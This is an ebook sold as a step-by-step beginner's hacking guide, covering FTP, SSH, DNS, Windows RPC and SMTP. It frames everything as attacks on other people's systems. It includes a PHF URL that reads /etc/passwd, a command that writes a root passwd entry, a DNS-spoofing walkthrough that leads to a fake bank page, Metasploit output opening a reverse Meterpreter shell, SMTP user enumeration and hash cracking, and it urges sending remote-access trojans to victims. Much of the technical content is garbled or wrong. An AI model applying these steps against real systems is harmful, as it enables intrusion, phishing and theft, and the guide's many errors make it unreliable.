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Introduction
 
    
 
   I want to thank you and congratulate you for downloading the book, “Hacking: Tapping into the Matrix—Step by Step Guide on How to Hack—including Tips, Secrets, Steps, and Hidden Traps!”
 
   Computer programs seem to be complicated—and that’s what makes them so fascinating. It’s like, they are enveloped in their own matrix—a matrix that you can tap into and hack!
 
   But come to think of it, you have probably thought about hacking programs at least once in your life, right? 
 
   Well, if you have, then this is your chance to let those dreams come to life!
 
   This book contains proven steps and strategies on how hack various computer programs, the tools one needs to hack, and examples of different systems that could easily be hacked!
 
   After reading this book, you’d be prompted to put what you have learned to the test—so start reading now, and learn all the hacking secrets you need to know!
 
   Thanks again for downloading this book, I hope you enjoy it!
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   Chapter 1: The Hacking Tools that You Need
 
    
 
   Here are the tools that you need to use to hack those systems. Make sure that you always have these with you because you’ll never be able to do anything without them!
 
   
  
 

Password Cracking Software
 
   Basically, you need password cracking software to get passwords from even the most secure systems. These have various algorithms, and some have hundreds and thousands of word combinations that can decode passwords in seconds. Here are some of the best password cracking software programs you can use:
 
    
    	Rainbow Crack. It is said that Rainbow Crack is one of those hash cracker tools that make it easy to recover passwords—definitely much easier than its contemporaries. Then, results are also stored in what is called Rainbow Table for easy reference. Those tables are also generated through the crack itself, so you wouldn’t have to download them anymore. 
 
   
 
   Download Rainbow Crack at http://project-rainbowcrack.com. 
 
    
    	Brutus. Brutus is known for its flexibility, so while it has not been updated for years, it’s still trusted by many. Brutus supports HTTP (HTML Form/CGI), HTTP (Basic Authentication), SMB, FTP, POP3, NNTP, and IMAP, amongst others, and also supports multi-authentication systems. However, it is only available for Windows OS.
 
    	Cain and Abel. Known for being able to handle a variety of tasks, it uses a certain dictionary attack scheme to crack encrypted passwords, and also works on brute force attacks, and records VOIP conversations. Even scrambled passwords could easily be decoded, too! Cain and Abel is only available on Windows.
 
   
 
   
Download Cain and Abel at www.oxid.it/ca_um
 
    
    	WFuzz. WFuzz cracks passwords through brute force, and is only a web application tool. It also easily finds hidden scripts, servlets, and directories, and can also identify various kinds of injections, such as XXS, SQL, and LDAP. 
 
    	The Hydra. Hydra is also one of the fastest password cracking tools available. This program makes installing modules easy, and can be used for Windows, Linux, Solaris, and even OSX. 
 
   
 
   Download The Hydra at https://www.thc.org/thc-hydra
 
   
  
 

Network Scanning Software
 
   Next, you also have to make sure that you have network scanning software to be able to access the whole computer network itself—and not just the passwords. The best ones include:
 
    
    	NMap. NMap is an open source utility software. It monitors schedules, monitoring hosts, network inventories, and gets to know which Operating Systems are running—and everything else that comes with it. 
 
    	Who is On My Wi-Fi. As the name suggests, this shows the LAN Networks that are being used or scanned by your computer, together with sound notifications. Scans are done every 2 to 10 minutes.
 
    	Soft Perfect Network Scanner. This checks not only LAN Networks, but also IP Addresses, and all the devices attached to it, and also scans HTML, Text, CSV, and XML, amongst others. 
 
    	Bopup Scanner. This scans all the IP Addresses in your LAN Network, together with connection status, and every other important detail.
 
   
 
   
  
 

Network Vulnerability Scanning Software
 
   Mostly, Network Vulnerability Software gives you better IT Security. Patching could also be automated with the help of this software. Examples include:
 
    
    	Retina CS Community. This provides patching and scanning for Microsoft applications and third parties, free for up to 256 IPS. It also focuses on configuration issues, and other types of network vulnerabilities.
 
    	Open VAS. This is a free network security scanner under GNU Public License, and could also be used for Open Source Platforms, and other Windows Clients. It scans and receives around 33,000 vulnerability tests.
 
    	Nexpose Community Edition. This one opens web applications, scans networks, and exposes virtual environments. It scans around 32 IPS at a time when you get it for free, but you can do more if you get the premium one.
 
    	Microsoft Baseline Security Analyzer. This can do both remote and local scans, as well as identify security patches and missing service parts. It works for all versions of Windows, and can also help you make personalized scans.
 
   
 
   
  
 

File Search Software
 
   Of course, if you want to target a file itself, you need file search software to help you with. The best ones are:
 
    
    	File Locator Pro. This scans everything on a computer—even just writing two letters would help you find what you need—in just seconds!
 
    	Identity Finder. What’s great about this is that it not only helps you find files, it also categorizes those files, monitors, and brings you all that you need—without having a hard time!
 
   
 
   
  
 

Web Application Vulnerability Scanning Software
 
   You remember those WikiLeaks hacks and that infamous Ashley Madison hack? These days, hacking is not just about getting through systems—it’s also about leaking information from websites, too! For that, you need the best Web Application Vulnerability Scanning Software. Here are some examples:
 
    
    	Vega. This is a testing platform and web vulnerability scanner that works in a GUI based environment, and is based on Java. It works for both Windows and Linux, and also gets to find SQL Injections, and makes child path nodes.
 
   
 
   Download Vega at http://subgraph.com/vega/documentation/index.en/html
 
    
    	Grabber. Grabber detects web security problems, and creates PDF Reports of what could be found in those web applications. It was developed under the Python language, and is executable with different source codes. 
 
   
 
   Download Grabber at http://rgaucher.info/beta/grabber
 
    
    	Zed Attack Proxy. This one is available for Windows, Macintosh, and Linux, and is said to be one of the easiest to use. It intercepts proxy, does web socket and plug and hack support, and also makes use of Dynamic SSL Certificates, too.
 
   
 
   Download Zed Attack Proxy at http://code.google.com/p/zaproxy
 
   Now that you have these tools ready, it’s time to start hacking!
 
   


 
   
  
 




 
   Chapter 2: Make Use of Security Weaknesses
 
    
 
   Before you hack into just about any system, you at least need to make sure that it contains a lot of weaknesses. As a beginner, it’s best that you hack weak systems first so that it would be easy for you to see the hacks coming to life.
 
   Here are those security weaknesses that you have to be aware of:
 
    
    	Network perimeters that have little to no firewall protection;
 
    	Documents that have not been shredded;
 
    	Disks that have not been destroyed;
 
    	Systems that have not been properly patched;
 
    	Missing, inappropriate, and poor access controls;
 
    	Easily guessed passwords;
 
    	Computers with no drive encryption;
 
    	Mobile devices with easy to crack or no passwords;
 
    	Wireless networks that run with WPA2 or WPA enabled, and;
 
    	                     Web applications with weak authentication mechanisms.
 
   
 
    
 
   


 
   
  
 




 
   Chapter 3: Secret Security Attacks
 
    
 
   Now, there are also various types of security attacks that you can do—and you’ll be able to try them out in the next few chapters. For now, it is time for you to learn about them first!
 
    
    	Trojan Horse. This is one of the most common types of hacks that could easily be transferred from flash drives, disks, and even programs that are downloaded on computers.
 
    	DoS. Denial of Service means a person would no longer be able to access certain files or programs in his computer.
 
    	Logic Bomb. This is one of the most dangerous types of security attacks because it works like a heart attack: It stays dormant until it is triggered, whether by dates, or certain actions done on the computer.
 
    	Worm. Worms make copies of themselves, and are easily spread through emails.
 
    	Virus. Viruses attach themselves to executable files—and destroy a computer little by little.
 
    	DNS Poisoning. When DNS Information is falsified, it means that the DNS is being poisoned. Traffic is diverted, and when servers do not receive replies, bogus information is given—which ruins the whole system itself.
 
    	Server Spoofing. As the name suggests, this spoofs servers just to get client authentication, especially while the server owner is trying to log in. The hacker could then get the server owner’s username and password as he is trying to log in.
 
    	Session Hijacking. As a hacker, you can watch an ongoing session on an open network, and then once you get the information you need, you can then work on disabling the system. This can even work for two legitimate systems in just one session!
 
    	Gaining Access through Source Routing. You can also break through networks that are less secure just by gaining information from the said network.
 
    	                     IP Spoofing. Another dangerous hacking method, IP Spoofing is done so that the person being attacked would think that he’s getting information from a legitimate source—even if it just came from a dummy.
 
    	                     Teardrop. This happens by sending a normal packet that contains a fragmented, virus-laden packet in it. It’s not often noticed right away because it’s smaller than real packets—and could easily be hidden. It can overflow systems, and the user might find it hard to buffer the overflow.
 
    	                     Smurf. A smurf is the term given to a ping request to a certain address that would then overload the user’s computer system.
 
    	                     Ping of Death. This was quite popular before 1996, and was used as a means to crash datagrams and IP devices for good.
 
    	                     Ping Broadcast. This is sent to various hosts of local networks that would allow the server owner to get a ping reply to the system that was stacked, and the reply he’ll get would destroy the whole system.
 
   
 
   Now, when you hack a system, you’d be able to make use of most of these at once—and if you’re ready to put to test what you have learned, turn to the next chapters and find out how!
 
    
 
    
 
   


 
   
  
 




 
   Chapter 4: Hacking FTP (File Transfer Protocol)—and Its Hidden Traps!
 
    
 
   One of the easiest things to hack is File Transfer Protocol (FTP), also known as TCP Port 21. 
 
   This port holds a lot of activity within it simply because everyone transfers files all the time in their computers, especially when the FTP server is anonymous. Even if it poses as anonymous, there are still a lot of serious gaps with it, which then causes the buffer to overflow.
 
   Originally, FTP was created to promote the remote use of computers—and not just to move files from one place to the other. It holds certain commands, such as:
 
    
    	LIST – a list of directories and files
 
    	ABOR – Stops data transfer, or any running command
 
    	PASS – this sends to the server the password that the user used to log in
 
    	RETR – this helps users download certain files
 
    	QUIT – helps the person log out from the server
 
    	USER – this helps you get the user name, and also send it, as well
 
    	TYPE – this helps you determine various file types
 
    	SYST – this is how information is sent through various systems
 
    	STOR – this gives users place to store their files
 
   
 
   
  
 

FTP’s Hidden Traps
 
   You see, sometimes, data connections are hard to meddle with because of certain hidden traps, which are:
 
    
    	How files are transferred from the server all the way to the client;
 
    	How files are transferred from client to server, and;
 
    	A list of files that could be taken from the client.
 
   
 
   When you get to determine each of these, you have to determine whether the server is running on active or passive mode. These are the main algorithms of the FTP.
 
   
  
 

Two Main Algorithms
 
   Here’s what you need to know about the two main algorithms of the FTP:
 
    
    	Active Mode. When system is on active mode, the system receives one of the operating system’s ephernal ports—or those that go from 1024 to 5000, on most operating systems, except for Solaris, which runs on 32768 to 65535. You’d have to wait for the client to connect to the server before working on this—and then you could use the PORT Command to respond. Mostly, Active Mode is used when Operating Systems are Windows, Sun Solaris, and Linux.
 
   
 
   The Algorithm of the Active FTP works like this:
 
   Connection is initiated (Port 21 to anywhere)
 
   Server responds to Client’s Control Port (Port 21 to >1023)
 
   Server initiates data connection to the client’s data port (Port 20 to >1023)
 
   Client sends ACKs to Server’s data port (Port 20 to >1023)
 
    
    	Passive Mode. The Passive Mode is all about a series of patterned connections, done when the client responds to the system through temporary posts. This way, the port gets to be opened from within. Passive Mode is mostly used for UNIX Operating Systems, and SuSE Linux.
 
   
 
   The Algorithm of the Passive FTP then works like this:
 
   Client initiates connection (Port 21 from anywhere)
 
   Server responds to client’s control port (Port 21 to Ports > 1023)
 
   Client initiates data connection to server’s specified random port (Server Ports to >1023)
 
   Server sends ACKs to Client’s Data Port (Server Ports to >1023 to Remote Ports)
 
   Take note that aside from algorithm, you also have to consider the following questions before hacking the FTP:
 
    
    	When is the FTP actually going to be used?
 
    	Which port is open for data connection?
 
    	And again, is the protocol in active or passive mode?
 
   
 
   
  
 

Get the Connection Going
 
   In order to get what you want, you have to run README.TXT from the port itself. For this, you need a Password Cracking Software. Run that software, get the README.TXT file, and you’d get something that resembles the text below:
 
   
  
 

[image: ]
 
   Crack Hacking
 
   To explain, this basically means that the username and password are both rooted, and you can then flip the login and password to get something like this:
 
   echo "myserver::0:0:Test User:/:/bin/csh">>etc\passwd 
 
   Now, go and get the scripts which would give you the response that you need. So, basically, you should type:
 
   root:*:0:1:Operator:/: 
ftp:*:53:53:anonymous ftp:/pub: 
t2:*:201:201:Takaoka Tadashi:/pub: 
 
   This now means that you get the script by shadow force. If you cannot see this folder, just check the folder right next to it because it contains the addresses that you need.
 
   Open the DOS Prompt, and you’ll see something like:
 
   Victim = site address
 
   Now wait for:
 
    
    	The server to ask for a username. When it does, press enter.
 
    	You will then be asked for a password. Again, press enter.
 
    	Type user FTP at the Prompt Type, then type quote cwd ~ root, and finally quote pass ftp.
 
   
 
   Try to see if you got the right log file, and then type password once you see the password onscreen.
 
   
  
 

Browser Hacking
 
   If you feel like this first process is a little too hard, you can make use of Browser Hacking to provide you with what you need. You can either make use of either of these two:
 
    
    	http://www.tagetGoesHere.com/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd 
 
    	http://www.tagetGoesHere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 
 
   
 
   When you enter these URLs, you might see an Error 404 onscreen. If not that, you’d see the word Warning, together with You do not have permission to view cgi-bin/phf?/ on this server.
 
   Now, do not stop what you’re doing, and instead, browse down until you see something labeled as Query Results. Check that one out and you’d get either of these two:
 
    [image: ] 
 
   or
 
    
 
    
 
    [image: ] 
 
   That’s it! You’re now able to hack into the FTP and meddle with how files are being transferred—and stored—so you could have easy access to them all along!
 
    
 
   


 
   
  
 




 
   Chapter 5: Hacking SSH (Secure Shell)
 
    
 
   Next, you can try hacking Secure Shell, also known as TCP Port 22. This is generally used to authenticate and encrypt shell lessons. However, most people forget what else it could do—and what makes it amazing to hack! SSH makes it easy to:
 
    
    	set up local or per-host configurations;
 
    	using key-based or powerless log-in;
 
    	setting up SOCKS proxy for Firefox;
 
    	accessing remote service—even through firewall;
 
    	export services through firewall;
 
    	triggering admin scripts—even through phone;
 
    	mouting filesystems, and;
 
    	executing remote script commands
 
   
 
   
  
 

Proper Configuration
 
   Take note that before doing anything else, it’s best that you configure SSH first. You can do this in three different ways, which are:
 
    
    	System-wide daemon configuration (/etc/ssh/sshd_config.)
 
    	System-wide client configuration (/etc/ssh/ssh_config)
 
    	Per-user configuration system (~/.ssh/config;/)
 
   
 
   Also, don’t forget:
 
    
    	Set Password Authentication to No so that it would be disallowed.
 
    	Set Permit Root Login to No, and then go ahead and configure sudo. This will make security even better, or write without-password, and then you can go and find the root.
 
    	Finally, set Port to SSHD so that it would start running. Always keep this on 22. 
 
   
 
   
  
 

Execute Remote Commands
 
   One of the first things you can do with SSH is that you can hack into the system to execute remote commands. Remote commands are those that are not natural to the system, but that you can now use even when you’re on another computer. Here are those commands:
 
   1. $ ssh host df – this makes it easy for you to check disk space
 
   2. $ ssh host command – This helps you run commands on remote systems, even without logging in
 
   3. $ dd if=/dev/dsp | ssh -C user@host dd of=/dev/dsp – Now, just tweak this and enter the commands you need to make sure that you’re able to make SSH do what you want.
 
    
 
   
  
 

Passwordless and Key-Based Authentication
 
   Imagine getting into systems even without passwords! It would make a whole world of difference! With this scripts won’t overcome programs and vice versa.
 
   Here’s how you can set this up:
 
   Type   $ ssh-keygen -t dsa or ~/.ssh/id_dsa.pub. to log-in to the client machine.
 
   Then type:
 
   $ cat .ssh/id_dsa.pub | ssh host 'cat >> ~/.ssh/authorized_keys'
 
   This will append the contents of the log-in client, and then you can guard the private key, but make sure not to copy original key over—especially on Linux. 
 
   
  
 

Copying Files
 
   Now type the following:
 
   $ cat file | ssh -e none remote-host 'cat > file'
 
   $ scp .bash_profile john@example.com:~/.bash_profile
 
   The first one works for small files, and the other works for the larger ones. Always use the –C flag if you’re working on larger files, just to make sure that you’ll get all the files that you need. If it doesn’t work right away, replace FTP with SFTP.
 
   
  
 

Local Port Forwarding
 
   Now, you can make use of secure Port Forwarding by hacking the SSH! This connects servers A and B together, and would keep traffic only on C. Here’s how:
 
   Run A and then type:
 
   A$ ssh C -L localport:B:remoteport
 
   Now type:
 
   B:remoteport, connect to localhost:localport.
 
   This will then connect the two ports together and also help you evade firewall—even on web applications!
 
   This will then give you the command:
 
   # ssh yourserver -L 80:reddit.com:80
 
   Host redditfw
 
    HostName yourserver
 
    LocalForward 80 reddit.com:80
 
   
  
 

Remote Port Forwarding
 
   Now, it’s time for you to work on the Remote Port. 
 
   Go on C and run the following:
 
   C$ ssh B -R remoteport:A:targetport
 
   This way, traffic is kept on C, and A and B could just be connected together.
 
   
  
 

SSH as File System
 
   You can also make use of SSH as a remote file system. This is usually done on the Mac. Just install:
 
   $ sudo port install sshfs
 
   After doing that, run the command given below and you’re all set:
 
   $ sshfs remote-host: local-mount-directory
 
   
  
 

Pre-Host SSH Client Configuration
 
   Finally, you can also configure the command per host type. For this, you have to set user and private key on a per-host basis. Try the commands below:
 
   Host my-server.com
 
   User admin
 
   IdentityFile ~/.ssh/admin.id_dsa
 
   BatchMode yes
 
   EscapeChar none
 
    
 
   Host mm
 
   User john
 
   HostName might.net
 
   IdentityFile ~/.ssh/john.id_dsa
 
    
 
   Host *.lab.ucaprica.edu
 
   User u8193
 
   This will help enable batch mode—and you would never be asked for password or patch again. Open escape sequences are also opened, and subdomains will also be opened for your liking!
 
   
  
 

PuTTY—or SSH from Windows
 
   You can also hack SSH from Windows itself. This trick is known as puTTY. Here are the various kinds of puTTY files that you should know about:
 
    
    	puTTY (SSH and Telnet Client)
 
    	PSFTP (This is a FTP Client, and makes use of general transfer file sessions)
 
    	PSCP (SCP Client that secures file copies through command line)
 
    	puTTYgen (This is a generation authority command)
 
    	Pageant (This is authentication for all puTTY commands)
 
    	Plink (command line interface)
 
    	puTTYtel (Telnet only client)
 
   
 
   Now, there are different binaries that you can use for these different commands. For these, here are the keys that you can use:
 
   Help Files
 
   Zip file:              putty.zip              (or by FTP)              (RSA sig)              (DSA sig)
 
   Windows Intel on x86
 
   Pageant:              pageant.exe              (or by FTP)              (RSA sig)              (DSA sig)
 
   Plink:              plink.exe                            (or by FTP)              (RSA sig)              (DSA sig)
 
   PSCP:              pscp.exe                            (or by FTP)              (RSA sig)              (DSA sig)
 
   PSFTP:              psftp.exe              (or by FTP)              (RSA sig)              (DSA sig)
 
   PuTTY:              putty.exe              (or by FTP)              (RSA sig)              (DSA sig)
 
   PuTTYgen:              puttygen.exe              (or by FTP)              (RSA sig)              (DSA sig)
 
   PuTTYtel:              puttytel.exe              (or by FTP)              (RSA sig)              (DSA sig)
 
   puTTYtel Installer
 
   Installer:              putty-0.65-installer.exe              (or by FTP)              (RSA sig)              (DSA sig)
 
   Take note that all of these can be used for puTTY Utilities on Windows, but if you are going to use the Unix Source Code, you cannot use zip or 7-zip because only .gz or .tar to get the installers you need. 
 
   Use:
putty-<version>.tar.gz or putty-0.65.tar.gz
 
   And do not forget the README.TXT file that you’ll be getting from it. 
 
   To check if the programs are running, don’t forget to run the following:
 
   MD5:              md5sums              (signature)
 
   SHA-1:              sha1sums              (signature)
 
   SHA-256:              sha256sums              (signature)
 
   SHA-512:              sha512sums              (signature)
 
   That’s it. You’re now able to hack SSH in various ways!
 
    
 
   


 
   
  
 




 
   Chapter 6: Spoofing DNS to divert traffic to non-existent website
 
    
 
   Here’s a fun thing you can do. You can redirect users to non-existent websites. This isn’t just about cracking codes anymore. This time, you will be exploiting the DNS or Domain Name Server. This works best on Linux, but if you can learn to let Linux run while on Windows OS, all the better.
 
   Here’s what you should do:
 
    
    	Go to Applications> Kali Linux> Sniffing> Network Sniffers
 
    	Then, open DNSProof. You will then see dnsspoof -i <interface> -f <hostsfile> on your screen. As you can see, it’s quite a simple syntax—nothing like what you have learned before.
 
    	Find a website that you can use. For example, abc.com.
 
    	Then, flush the DNS of the system. To do so, close the browser and type ipconfig/flushdns followed by ifconfig etho promisc. This way, your own computer would not be infiltrated by malicious pockets as you are trying to hack the DNS.
 
    	You will now then work to reauthenticate Windows 7. To do so, type tcpkill -9 host [abc.com]
 
    	Stop tcpkill by holding CTRL + C.
 
    	Now, it’s time to create the host file. Type the following:
 
   
 
   192.168.116.7.hacker
 
                 The code above will then redirect you to 192.168.117.7
 
    
    	Then, you’d notice that something like /etc/resolv./conf/. Copy this and open it with KWrite, and then type: bt> kwrite /etc/resolv.conf and then hit Enter. You have to make sure you’ll save it in this sequence: nameserver IP Address.
 
    	Type 75.75.75.75.
 
    	                     Now, go to /etc/nsswitch.conf—here, you’ll find the hosts and there are different kinds of them:
 
   
 
   Dns – this helps you find the better DNS server
 
   Mdns4_minimal – this is a multi-cast protocol legacy
 
   Files – these are generally the file name
 
   Mdsn4 – this one is multicast DNS
 
   [NOTFOUND = RETURN] – this indicates that you haven’t found something yet 
 
    
    	                     Now go check the local directory by checking out cd/usr/local.
 
    	                     Now type gvim hosts
 
    	                     Once you have opened those hosts, go to 192.168.1.101 www.abc.com –make sure to use the tab key to create a space between numerical values and “abc.com”.
 
    	                     Then, create a new webpage. This will then be the page where the user would be redirected to. Just type ifconfig eth0 –promisc followed by gvim /var/www/index.html.  
 
    	                     You would then see something like this onscreen:
 
   
 
   <html>
 
   <body> <h1>This is the Fake Bank of America Web Site! </h1>
 
   </body>
 
   </html)>
 
    
    	                     Start an Apache Web Server. This is built into Kali so it wouldn’t be that hard. Just go to Kali Linux > System Services> HTTP> Apache.
 
    	                     Now, you can start DNSSpoof. This will send those users to your fake website and would intercept any kind of queries. Just type dnsspoof -f hosts. 
 
    	                     Finally, you’d be able to see the address www.abc.com onscreen—but it will just be a blank screen! Voila! You have now spoofed the DNS!
 
   
 
   


 
   
  
 




 
   Chapter 7: Hack DNS to get Faster Internet Hack 
 
    
 
   Who doesn’t want faster internet connection? The internet is basically “everything” right now, and that’s why it’s good to know that you can have faster connection. You actually can do this by hacking the DNS! 
 
    
    	Open DNS on the Control Panel by going to Network and Internet > Network and Sharing Center > Internet Connection > Properties.
 
    	Now, highlight Internet Protocol Connection 4 (TCP/IPv4) and click Properties.
 
    	Choose between these two DNS Servers:
 
     
     	208.67.220.220
 
     	208.67.222.222
 
    
 
    	If you’re on IPv6, just click properties, and then choose between the servers below:
 
     
     	2620:0:ccd::2
 
     	2620:0:ccc::2
 
    
 
    	Now, replace those DNS server addresses with these:
 
     
     	IPv4: 8.8.8.8 and/or 8.8.4.4.
 
     	IPv6: 2001:4860:4860::8888 and/or 2001:4860:4860::8844
 
    
 
   
 
   Now, you’d notice that your internet connection is faster than ever!
 
   


 
   
  
 



Chapter 8: Hacking Windows RPC
 
    
 
   Next, it would also be nice if you could learn how to hack Windows RPC, which makes distribution easy between clients, servers, and programs involved. It helps the user focus on the application itself, instead of focusing on the program that comes behind it—which is pretty much what makes it easy to hack!
 
   Think of this as getting through the mind of a program—and twisting it based on your preferences! 
 
   There are two main parts of this. The first one is Enumeration.
 
   First, you have to start NMap. Do so by going to 192.168.1.112, and then type:
 
    [image: ] 
 
   This will then give you the result of:
 
   |_nbstat: NetBIOS name: HMSBARHAM, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:8d:d9:cc
 
   |_smbv2-enabled: Server doesn't support SMBv2 protocol
 
   | smb-os-discovery:
 
   | OS: Windows Server 2003 3790 Service Pack 2 (Windows Server 2003 5.2)
 
   | Name: HMSBARHAM0\HMSBARHAM
 
   |_ System time: 2012-08-12 20:58:20 UTC-7
 
   Once you’re done with that, it means you have already detected the server. This could be done in less than 50 seconds. The next thing you have to do is open 6.0.3790.3959.
 
   And then type:
 
   53/tcp open domain Microsoft DNS
 
   80/tcp open http Microsoft IIS webserver 6.0
 
   88/tcp open kerberos-sec Microsoft Windows kerberos-sec
 
   139/tcp open netbios-ssn
 
   If you see more numbers onscreen, list them down, and then add domain Microsoft DNS.
 
   Now, it’s time for the second part of this hack, which is also known as Pawnage. Open Service Info by typing the following:
 
    [image: ] 
 
   This then will give you the result:
 
    
 
   |_smbv2-enabled: Server doesn't support SMBv2 protocol
 
    
 
   | smb-security-mode:
 
    
 
   | Account that was used for smb scripts: guest
 
    
 
   | User-level authentication
 
    
 
   | SMB Security: Challenge/response passwords supported
 
    
 
   |_ Message signing required
 
    
 
   | smb-os-discovery:
 
    
 
   | OS: Windows Server 2003 3790 Service Pack 2 (Windows Server 2003 5.2)
 
    
 
   | Computer name: hmsbarham
 
    
 
   | Domain name: hmsbarham.admiralty.com
 
    
 
   | Forest name: hmsbarham.admiralty.com
 
    
 
   | FQDN: hmsbarham.hmsbarham.admiralty.com
 
    
 
   | NetBIOS computer name: HMSBARHAM
 
    
 
   | NetBIOS domain name: HMSBARHAM0
 
    
 
   |_ System time: 2012-10-28 20:32:51 UTC-8
 
    
 
   Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
 
    
 
   Nmap done: 1 IP address (1 host up) scanned in 116.78 seconds
 
    
 
   If that doesn’t work, you can try this exploit:
 
    
 
   msf exploit(ms07_029_msdns_zonename) > set rhost 192.168.1.112
 
    
 
   rhost => 192.168.1.112
 
    
 
   msf exploit(ms07_029_msdns_zonename) > set lhost 192.168.1.111
 
    
 
   lhost => 192.168.1.111
 
    
 
   You should then see something like this onscreen:
 
    
 
   msf exploit(ms07_029_msdns_zonename) > exploit
 
    
 
   [*] Started reverse handler on 192.168.1.111:4444
 
    
 
   [*] Connecting to the endpoint mapper service...
 
    
 
   [*] Discovered Microsoft DNS Server RPC service on port 1044
 
    
 
   [*] Connecting to the endpoint mapper service...
 
    
 
   [*] Detected a Windows 2003 SP1-SP2 target...
 
    
 
   [*] Trying target Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)...
 
    
 
   [*] Binding to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:192.168.1.112[0] ...
 
    
 
   [*] Bound to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:192.168.1.112[0] ...
 
    
 
   [*] Sending exploit...
 
    
 
   [*] Sending stage (752128 bytes) to 192.168.1.112
 
    
 
   [*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.112:2213) at 2012-10-28 18:33:23 -0400
 
    
 
   [-] Error: no response from dcerpc service 
 
    
 
   meterpreter >
 
    
 
   It sounds tricky, but once you’re able to do this, you’d be able to control Windows from within—and see if there are any problems with programs running on the said Operating System.
 
   


 
   
  
 



Chapter 9: Hacking SMTP (Simple Mail Transfer Protocol)
 
    
 
   Have you ever imagined how it would be like to hack emails? Well, that would be easy if you could go through SMTP, or Simple Mail Transfer Protocol. This operates between ports 110 to 143, and is known as a server to server protocol. Most of the commands you’ll use here include:
 
    
    	HELO. This basically initiates conversation, and is often accompanied by domain name and IP Address. For example HELO client.microsoft.com or HELO 192.168.8.1
 
    	VRFY. This helps the server verify if a mailbox actually exists.
 
    	STARTTLS. This makes it easy to add images, audio, and videos to messages, because usually, transport layer security becomes a barrier between client and server—and only makes way for text.
 
    	EHLO. This is almost like HELO but is often used on extended SMTP. When this command is recognized, command and reply becomes easy.
 
    	DATA. This helps the transfer of message begin.
 
    	RCPT. This determines the recipient’s address.
 
    	MAIL. Meanwhile, this determines the address of the sender.
 
    	RSET. This aborts recent email transactions.
 
    	QUIT. And of course, this ends the connection between client and server.
 
   
 
   Here’s what you should do:
 
    
    	Open Kali and then start a terminal, and then connect telnet and SMTP server manually. You can do this by typing: kali > telnet 192.168.1.101.25
 
    	Try typing email addresses manually. Try typing and email address together with any of the commands given above just to check if it’s viable. But mostly, you can use VRFY sys. For example:
 
   
 
   johnabc@gmail.comVRFY sys
 
   VRFY sys snowwhite@gmail.com
 
   augustbooth@yahoo.com VRFY sys
 
    
    	The system then will tell you if those email addresses are real and if you can hack into them.
 
    	Now make use of SMTP > User> Enum. This is manual query, and you can find it at:
 
   
 
   Applications > Kali Linux > Information Gathering > SMTP Analysis > SMTP – USER – ENUM
 
    
    	Now, when you click that, you should see something like this onscreen:
 
   
 
   kali > smtp-user-enum -M VRFY -U <userlist> -t <target IP>
 
    
    	Now, it’s time to create a command that you can use to exploit SMTP and make it work in your favor. Try this:
 
   
 
   /usr/share/fern-wifi-cracker/extras/wordlist
 
   kali > smtp-user-enum -M VRFY -U /usr/sharefern-wifi-cracker/extras/wordlist -t 192.168.1.101
 
    
    	This will then scan information from the user’s account and show the information that you need onscreen. Use one of those password cracking software to save and backup information.
 
   
 
    
 
   


  
 



Chapter 10: Final Hacking Tips
 
    
 
   Lastly, here are some hacking tips that you should always keep in mind in order to work on more systems and programs!
 
   
  
 

Understand Networking Concepts
 
   When you hack something, there are times when you wouldn’t have to work on one computer alone. You have to understand LAN and WAN, and other derivatives. Here’s a crash course on them:
 
    
    	LAN. LAN stands for Local Area Network—or how computers are connected to one another. For example, in an internet café, all computers are connected to each other and to the server so it would be easy for the owner to know what’s going on in each of those computers.
 
    	WAN. WAN, meanwhile, means Wide Area Network, and is mostly used for telecommunications networks. Regardless of connection, it makes it easy for computers to help people communicate. Leased lines are common in this.
 
    	VPN. The Virtual Private Network is a private network hidden in the internet, which makes it easy for public networks to send and receive data from one another.
 
    	Firewall. Firewall is like a security barrier that keeps computers safe from viruses or unwanted files. Without it, it would be easy to hack into systems!
 
   
 
   
  
 

Learn Cryptography
 
   Encryption and Decryption are two of the main things that helps you become a successful hacker, especially when you want to get through information systems (such as SSH).
 
   As you can see, codes are often written in a language that’s not simple for humans to understand. You can then decode—or decrypt—those codes in order to figure out how a system works. Here’s a simple way for you to learn Cryptography.
 
    
    	Download Ophcrack, and then run it on Windows 7 or Windows XP. To do so:
 
     
     	Click Ophcrack on XP Live CD, or;
 
     	Click Ophcrack on Vista 7 Live CD.
 
    
 
    	There is an image that you’ll see on the CD—go ahead and burn it, insert the disc on the computer, and press restart.
 
    	You’ll then see the Ophcrack Live Program onscreen, and when you see that, go ahead and check the lines of codes that you’ll see onscreen. Empty will be displayed if the account you’re trying to hack already allows you to login.
 
    	Under the NTLM Hash Field, you’ll see Hash Value. Copy that, and type it on the space you see once you visit http://crackstation.net.
 
    	Enter Capchta code, and then click Crack Hashes and you’ll be able to decrypt the code.
 
   
 
   
  
 

Loop Holes/Vulnerabilities
 
   The problem with some hackers is that they do know how to hack—but they have no idea how to reverse what they did—especially if it’s being done to them. This is why it is important for you to write loop holes. You can start with Password Cracking Methods.
 
    
    	Social Engineering. This is basically like manipulating somebody to help you gain access to his accounts and passwords. It’s like phishing for contact information, or basically just pretending to be someone else. The best thing to do here is that you have to learn how to double-check someone. If someone calls you and asks for personal information, actually try to contact the real person himself—and always be careful about giving important information—especially online or over the phone!
 
    	Brute Force Attack. Brute Force is making use of various combinations of numbers, special characters, and letters to create password matches. The complexity of the password determines the length of decryption. As for you, make sure that you use long and complex passwords—just keep a copy of them with you at all times. Don’t use passwords that are just a little too obvious.
 
   
 
   
  
 

RATS
 
   A RAT is a Remote Access Trojan that you can send your potential victims online. It infects the computer system that even antivirus programs can’t seem to shake it off. Here are some of the things that you can do with the help of RATS:
 
    
    	Installing Keyloggers
 
    	Infecting Files
 
    	View Screenshots
 
    	Using computer to attack websites
 
    	Remotely start sounds, movies, webcam, etc.
 
    	Control computer
 
   
 
   Basically, it’s like you’re out there controlling a person’s computer—even if you’re not holding that computer itself. Here are the most commonly used RATS that you can try:
 
    
